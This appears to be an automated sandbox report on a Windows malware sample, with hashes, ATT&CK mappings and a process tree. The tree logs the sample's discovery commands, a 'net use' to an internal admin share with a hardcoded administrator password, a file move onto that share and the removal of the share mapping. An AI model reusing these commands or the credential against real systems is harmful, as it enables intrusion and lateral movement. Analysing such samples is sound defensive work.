bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364

General

Target
bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
Size 820KB
Sample260217-jqs7rscs8a
SHA256 bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364
MD5 4f8091a5513659b2980cb53578d3f798
SHA1 60f925ca7f6d2ea77fd58b14d6259c4256fba899
SHA512 ad99a6e51e4bb68856f7ae2d85eee777ba55fd93808805df8991535bbc72ebe28a3f20557ca234aa76702608fa2539c02011b3f17b4b571fd1b06970a42b0fe5
SSDEEP 24576:4AzX0QVt4LjwctL0fn7J7eKj6a5VCxoq:bRccw47J7Fj99q
TLSH
T1CE051901E660D039F69301FBC7B681B8AE24AF30134554DFA2D879E59B368E63D3752B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery persistence privilege_escalation spyware stealer

Malware Config

Signatures

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
3656	net.exe
2280	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3408	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NETSTAT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4680	cmd.exe
1636	PING.EXE

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
5668	cmd.exe
4972	NETSTAT.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5548	ipconfig.exe
4972	NETSTAT.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1636	PING.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	NETSTAT.EXE
Token: SeDebugPrivilege	3408	tasklist.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3176 wrote to memory of 2760	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	80
PID 3176 wrote to memory of 5600	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	81
PID 3176 wrote to memory of 5668	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	83
PID 3176 wrote to memory of 2296	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	85
PID 2760 wrote to memory of 5548	2760	cmd.exe	88
PID 2296 wrote to memory of 752	2296	cmd.exe	89
PID 5668 wrote to memory of 4972	5668	cmd.exe	90
PID 5600 wrote to memory of 3408	5600	cmd.exe	91
PID 3176 wrote to memory of 1564	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	93
PID 1564 wrote to memory of 4912	1564	cmd.exe	95
PID 3176 wrote to memory of 4408	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	96
PID 3176 wrote to memory of 2280	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	98
PID 3176 wrote to memory of 4680	3176	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	100
PID 2280 wrote to memory of 3656	2280	cmd.exe	102
PID 4680 wrote to memory of 1636	4680	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
"C:\Users\Admin\AppData\Local\Temp\bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ipconfig /all > "C:\Users\Admin\AppData\Local\Temp\\temp\res.ip"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /all
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers network information
    PID:5548
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\temp\task.list"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5600
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c netstat -naop tcp > "C:\Users\Admin\AppData\Local\Temp\\temp\netstat.res"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Connections Discovery
  - Suspicious use of WriteProcessMemory
  PID:5668
- - C:\Windows\SysWOW64\NETSTAT.EXE
    netstat -naop tcp
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Connections Discovery
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c netsh interface ip show config > "C:\Users\Admin\AppData\Local\Temp\\temp\netsh.res"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip show config
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\SysWOW64\net.exe
    net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4912
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c move /y C:\Users\Admin\AppData\Local\Temp\\~9696FBFAMT.tmp \\10.38.1.35\C$\Windows\Temp\MpLogs\
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\10.38.1.35\C$ /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\SysWOW64\net.exe
    net use \\10.38.1.35\C$ /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - System Location Discovery: System Language Discovery
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping -n 3 127.0.0.1 >NUL & echo EEEE > ""
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Indicator Removal

1

T1070

Network Share Connection Removal

1

T1070.005

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

System Network Connections Discovery

1

T1049

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

netsh.res

Path C:\Users\Admin\AppData\Local\Temp\temp\netsh.res
Size 952B
SHA256 ec84bd29f43ae8db66682ac4f6f2cf151118cb76d105907f0c1b203a78f06b51
MD5 0b584b4a58920b592d450ee58a77e7f3
SHA1 70391ced717b06b613642d268722b5de49b07c86
SHA512 ebd892bc9ffc6d1f0c5456670ec3e2b20ede710c2919c2c105e5a58ab6d219e14258bc3374a55ab590e518dbb46e8acc47d468a6ea718b4bc51a6b4c534141c2
TLSH
T13E114C270502B887ACF697094962DE70EC62C533041D143DB21D72C94FF22EF674826E
MD5 SHA1 SHA512 TLSH

Submit Download

netstat.res

Path C:\Users\Admin\AppData\Local\Temp\temp\netstat.res
Size 1KB
SHA256 6484ca1a71f9a2ec92f667fc12328866ef08d1b012db516eb0792c774307ba15
MD5 c58b433ea9f4578f0761ee85cfcf558d
SHA1 bbc049783c22ab5c69cac9cc50a9b82e728a1c93
SHA512 92e31a7e8bb6f997477b29eeddee444a1d2b91f421fde3a23a0ca53a90ba84553da7379f9dc9bfe36e3f22f3e2fae4299631909a9a3e48542ae398b2c140fe8d
TLSH
T1D131FEA3673835CE367DDAA2552CC966D59E8A63280F281D702E4DC4C73C35C6FDA01C
MD5 SHA1 SHA512 TLSH

Submit Download

res.ip

Path C:\Users\Admin\AppData\Local\Temp\temp\res.ip
Size 1023B
SHA256 a9e034025ab7004a0e6a14e68c1372592c8029ce847e57c00548abd4b654ff68
MD5 acf348cc76943bdacdb052b588e9c4f4
SHA1 610547f208032123a6fbab36b2217b5de26cde42
SHA512 932353a55367b552a07b50dc8078cd9581af42e0b57e0321a236507d441f80e6d1607fda134aeea683659df3db385739fdef721cf7787c0f1d785e4eeb471f1e
TLSH
T1B411F18806E8F00333BA46011C589736E1C48D53C007E170FC6CA588BD321F4AB439A3
MD5 SHA1 SHA512 TLSH

Submit Download

task.list

Path C:\Users\Admin\AppData\Local\Temp\temp\task.list
Size 6KB
SHA256 3c16ef6ba281a820132c1878d4f05994fd36e1887728723574719af5f9761f31
MD5 d3de855ca83144ebbddf800e586bd123
SHA1 00cb2f050c04400b6a15b0a08d72f615c78642a4
SHA512 49fff205b63636a4ef1d7beac510541cfd339b22cec785ea199671a0e80c5719b74e64b4767322e328fdc1ffc3471057f1995b25a1ff09d94b9bd75df0d8f60a
SSDEEP 192:bLZmzhs7GjwZVVAI8yVfXthFTQ0HbbNHyUe8ENVtpH8qh2o/dktxAtJO+L6xVzWp:b9mzhs7GjwZVVAI8yVfXthFTQ0HbbNHe
TLSH
T1DCE1FF81989F85EC852DD3983E230002EB4E5541316AADD93ADD14EC37E5F2CD3EBA70
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/752-7-0x0000000002860000-0x0000000002867000-memory.dmp

Download

memory/3176-6-0x0000000001470000-0x0000000001477000-memory.dmp

Download

memory/3176-40-0x0000000001470000-0x0000000001477000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads